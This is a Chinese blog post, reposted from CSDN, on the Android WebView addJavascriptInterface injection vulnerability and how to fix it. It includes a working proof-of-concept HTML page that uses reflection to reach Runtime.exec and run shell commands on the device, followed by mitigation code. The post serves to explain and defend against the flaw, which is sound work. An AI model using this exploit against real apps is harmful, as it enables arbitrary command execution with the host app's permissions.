Android WebView的Js对象注入漏洞解决方案
转载地址http://blog.csdn.net/leehong2005/article/details/11808557
版权声明:本文为博主原创文章,未经博主允许不得转载。
目录(?)[+]
最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台(http://www.wooyun.org)报告出来的。
1,使用场景
- mWebView.getSettings().setJavaScriptEnabled(true);
- mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。
- This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level
JELLY_BEAN
or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content. - JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
- The Java object's fields are not accessible.
简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。
2,漏洞描述
- function execute(cmdArgs)
- {
- for (var obj in window) {
- if ("getClass" in window[obj]) {
- alert(obj);
- return window[obj].getClass().forName("java.lang.Runtime")
- .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
- }
- }
- }
3,漏洞证明
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <script>
- var i=0;
- function getContents(inputStream)
- {
- var contents = ""+i;
- var b = inputStream.read();
- var i = 1;
- while(b != -1) {
- var bString = String.fromCharCode(b);
- contents += bString;
- contents += "\n"
- b = inputStream.read();
- }
- i=i+1;
- return contents;
- }
- function execute(cmdArgs)
- {
- for (var obj in window) {
- console.log(obj);
- if ("getClass" in window[obj]) {
- alert(obj);
- return window[obj].getClass().forName("java.lang.Runtime").
- getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
- }
- }
- }
- var p = execute(["ls","/mnt/sdcard/"]);
- document.write(getContents(p.getInputStream()));
- </script>
- <script language="javascript">
- function onButtonClick()
- {
- // Call the method of injected object from Android source.
- var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
- alert(text);
- }
- function onImageClick()
- {
- //Call the method of injected object from Android source.
- var src = document.getElementById("image").src;
- var width = document.getElementById("image").width;
- var height = document.getElementById("image").height;
- // Call the method of injected object from Android source.
- jsInterface.onImageClick(src, width, height);
- }
- </script>
- </head>
- <body>
- <p>点击图片把URL传到Java代码</p>
- <img class="curved_box" id="image"
- onclick="onImageClick()"
- width="328"
- height="185"
- src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
- onerror="this.src='background_chl.jpg'"/>
- </p>
- <button type="button" onclick="onButtonClick()">与Java代码交互</button>
- </body>
- </html>
这段HTML的运行效果如下:
- return window[obj].getClass().forName("java.lang.Runtime").
- getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
- mWebView = (WebView) findViewById(R.id.webview);
- mWebView.getSettings().setJavaScriptEnabled(true);
- mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
- mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的权限:
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
4,解决方案
- class JsObject {
- @JavascriptInterface
- public String toString() { return "injectedObject"; }
- }
- webView.addJavascriptInterface(new JsObject(), "injectedObject");
- webView.loadData("", "text/html", null);
- webView.loadUrl("javascript:alert(injectedObject.toString())");
2,Android 4.2以下的系统
- public boolean onJsPrompt(WebView view, String url, String message,
- String defaultValue, JsPromptResult result)
- javascript:(function JsAddJavascriptInterface_(){
- if (typeof(window.jsInterface)!='undefined') {
- console.log('window.jsInterface_js_interface_name is exist!!');}
- else {
- window.jsInterface = {
- onButtonClick:function(arg0) {
- return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
- },
- onImageClick:function(arg0,arg1,arg2) {
- prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
- },
- };
- }
- }
- )()
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2)
5,一些思考
- onLoadResource
- doUpdateVisitedHistory
- onPageStarted
- onPageFinished
- onReceivedTitle
- onProgressChanged
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
源码下载
Android WebView的Js对象注入漏洞解决方案相关推荐
- android WebView详解,常见漏洞详解和安全源码(下)
上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http ...
- android WebView详解,常见漏洞详解和安全源码(上)
这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...
- Codeigniter 利用加密Key(密钥)的对象注入漏洞
http://drops.wooyun.org/papers/1449 原文链接:http://www.mehmetince.net/codeigniter-object-injection-vuln ...
- Android Webview SSL 自签名安全校验解决方案
Android Webview SSL 自签名安全校验解决方案 参考文章: (1)Android Webview SSL 自签名安全校验解决方案 (2)https://www.cnblogs.com/ ...
- android WebView详解,常见漏洞详解和安全源码
这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 转载请注明出处:blog.csdn.net/self_study ...
- android webview调js方法,Android中WebView与H5的交互,Native与JS方法互调
项目中经常用到WebView与H5的交互,一个是H5调本地方法,一个是本地调H5方法,在此记录一下. 首先,启用JS支持 //启用js支持 webSettings.setJavaScriptEnabl ...
- Android WebView与JS的交互方式
前言 现在很多App都内置了Web网页,比如很多电商App,淘宝.天猫.京东.拼多多.网易考拉等等,那么它们又是如何实现的呢? 这里就不得不涉及到Android的WebView控件,通过WebView ...
- Android WebView与js交互通信
事出有因,那天我看到手厅的客户端里,在网页webview中点击网络设置后,跳转到了手机的网络设置界面,然后就搜了一下,原来是html中js与androidApp之间的交互.这么说的太费劲了,还是上截图 ...
- Android—WebView与JS交互
Html文件: WebView与JS交互方式: 1. 前提: WebSettings webSettings = webView.getSettings(); // 设置与Js交互的权限 webSet ...
最新文章
- Proteus仿真STM32F103R6微控制器的GPIO(按键控制LED开关)
- 本地开发环境与生产环境布局有偏差问题
- 开源的C#组件——RSS.NET
- 使用GeoTools创建一个具有纬度,经度和半径的圆
- 蓝字冲销是什么意思_会计做帐中用红字和蓝字代表的意思是什么
- java自学一般要学多久?学会了有什么作用?
- 那些你可能不知道的 bilibili 奇技淫巧
- 10年回顾:世界各地开发高手谈Java
- 我的电脑被谁远程登陆过?怎么查看电脑远程登陆日志?
- 获取Angular中的AngularJS功能
- idea 断点线程_在IntelliJ IDEA中多线程并发代码的调试方法详解
- 什么是办公自动化(OA)?
- Hash索引和BTree索引区别
- 朴素贝叶斯分类、半朴素贝叶斯分类算法
- 如何才能学好java框架
- 第一篇博客,天下武功
- 人脸检测(二)--人脸识别样本制作及训练测试
- 【knife4j】适配 spring boot 2.6.6
- Web前端UI框架 JQuery WeUI
- 电商项目秒杀思路和认识
热门文章
- mysql 触发器 二进制_Mysql 二进制日志格式 对存储过程,函数,触发器,事件的记录方式的影响...
- Java设计模式之代理(动态代理,静态代理)
- 陕西机关事业单位工勤计算机考试成绩,2020年陕西省机关事业单位工人技术等级岗位考核公告发布 6月22日开始报名 9月中旬以后考核...
- ARMedia问题记录
- OpenShift 4.5 新特性 - 创建任务和定时任务
- Quay (3) - 访问权限管理
- 使用JQuery的Blazor日期选择器组件
- 在Blazor中构建数据库应用程序——第1部分——项目结构和框架
- 借助xUnit减少了生产问题
- OpenJS 基金会推出 Node.js 证书,JS 开发者可以“考证”了